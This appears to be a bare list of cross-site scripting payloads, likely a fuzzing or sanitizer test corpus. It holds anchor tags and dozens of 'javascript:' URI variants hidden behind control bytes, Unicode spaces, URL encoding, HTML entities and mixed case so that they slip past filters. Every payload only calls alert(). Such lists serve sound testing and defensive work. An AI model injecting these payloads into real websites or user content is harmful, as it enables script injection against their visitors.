000

<a href="javascript:alert('XSS')">Click me</a>
<a href="java%0Ascript:alert(%22XSS%22)">Click me</a>
<a href="java%0Ascript:alert(document.location)">link</a>
<a href="javascript:alert(%22XSS%22)">javascript:alert(&quot;XSS&quot;)</a>
<img src="data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7" alt="Inline image" />
![Inline image](xx&quot; onerror=&quot;javascript:alert(1))
&lt;javas\x00cript:javascript:alert(1)&gt;
&lt;javas\x01cript:javascript:alert(1)&gt;
&lt;javas\x02cript:javascript:alert(1)&gt;
&lt;javas\x03cript:javascript:alert(1)&gt;
&lt;javas\x04cript:javascript:alert(1)&gt;
&lt;javas\x05cript:javascript:alert(1)&gt;
&lt;javas\x06cript:javascript:alert(1)&gt;
&lt;javas\x07cript:javascript:alert(1)&gt;
&lt;javas\x08cript:javascript:alert(1)&gt;
javas\x09cript:javascript:alert(1)&gt;
&lt;javas\x0Acript:javascript:alert(1)&gt;
&lt;javas\x0Bcript:javascript:alert(1)&gt;
&lt;javas\x0Ccript:javascript:alert(1)&gt;
&lt;javas\x0Dcript:javascript:alert(1)&gt;
&lt;javascript\x3Ajavascript:alert(1)&gt;
&lt;\x0Bjavascript:javascript:alert(1)&gt;
&lt;\x0Fjavascript:javascript:alert(1)&gt;
&lt;\xC2\xA0javascript:javascript:alert(1)&gt;
&lt;\x05javascript:javascript:alert(1)&gt;
&lt;\xE1\xA0\x8Ejavascript:javascript:alert(1)&gt;
&lt;\x18javascript:javascript:alert(1)&gt;
&lt;\x11javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x88javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x89javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x80javascript:javascript:alert(1)&gt;
&lt;\x17javascript:javascript:alert(1)&gt;
&lt;\x03javascript:javascript:alert(1)&gt;
&lt;\x0Ejavascript:javascript:alert(1)&gt;
&lt;\x1Ajavascript:javascript:alert(1)&gt;
&lt;\x00javascript:javascript:alert(1)&gt;
&lt;\x10javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x82javascript:javascript:alert(1)&gt;
&lt;\x20javascript:javascript:alert(1)&gt;
&lt;\x13javascript:javascript:alert(1)&gt;
&lt;\x09javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x8Ajavascript:javascript:alert(1)&gt;
&lt;\x14javascript:javascript:alert(1)&gt;
&lt;\x19javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\xAFjavascript:javascript:alert(1)&gt;
&lt;\x1Fjavascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x81javascript:javascript:alert(1)&gt;
&lt;\x1Djavascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x87javascript:javascript:alert(1)&gt;
&lt;\x07javascript:javascript:alert(1)&gt;
&lt;\xE1\x9A\x80javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x83javascript:javascript:alert(1)&gt;
&lt;\x04javascript:javascript:alert(1)&gt;
&lt;\x01javascript:javascript:alert(1)&gt;
&lt;\x08javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x84javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x86javascript:javascript:alert(1)&gt;
&lt;\xE3\x80\x80javascript:javascript:alert(1)&gt;
&lt;\x12javascript:javascript:alert(1)&gt;
&lt;\x0Djavascript:javascript:alert(1)&gt;
&lt;\x0Ajavascript:javascript:alert(1)&gt;
&lt;\x0Cjavascript:javascript:alert(1)&gt;
&lt;\x15javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\xA8javascript:javascript:alert(1)&gt;
&lt;\x16javascript:javascript:alert(1)&gt;
&lt;\x02javascript:javascript:alert(1)&gt;
&lt;\x1Bjavascript:javascript:alert(1)&gt;
&lt;\x06javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\xA9javascript:javascript:alert(1)&gt;
&lt;\xE2\x80\x85javascript:javascript:alert(1)&gt;
&lt;\x1Ejavascript:javascript:alert(1)&gt;
&lt;\xE2\x81\x9Fjavascript:javascript:alert(1)&gt;
&lt;\x1Cjavascript:javascript:alert(1)&gt;
&lt;javascript\x00:javascript:alert(1)&gt;
&lt;javascript\x3A:javascript:alert(1)&gt;
&lt;javascript\x09:javascript:alert(1)&gt;
&lt;javascript\x0D:javascript:alert(1)&gt;
&lt;javascript\x0A:javascript:alert(1)&gt;
&lt;java&amp;#1&amp;#2&amp;#3&amp;#4&amp;#5&amp;#6&amp;#7&amp;#8&amp;#11&amp;#12script:javascript:alert(1)&gt;
&lt;jav&amp;#65ascript:javascript:alert(1)&gt;
&lt;jav&amp;#97ascript:javascript:alert(1)&gt;
<a href="jAvAsCrIpT:alert(1)">jAvAsCrIpT:alert(1)</a>
<a href="javascript:alert%28'XSS'%29">XSS</a>
<a href="javascript:alert%28'XSS'%29">XSS</a>
<a href="javascript&amp;colon;alert%28'XSS'%29">XSS</a>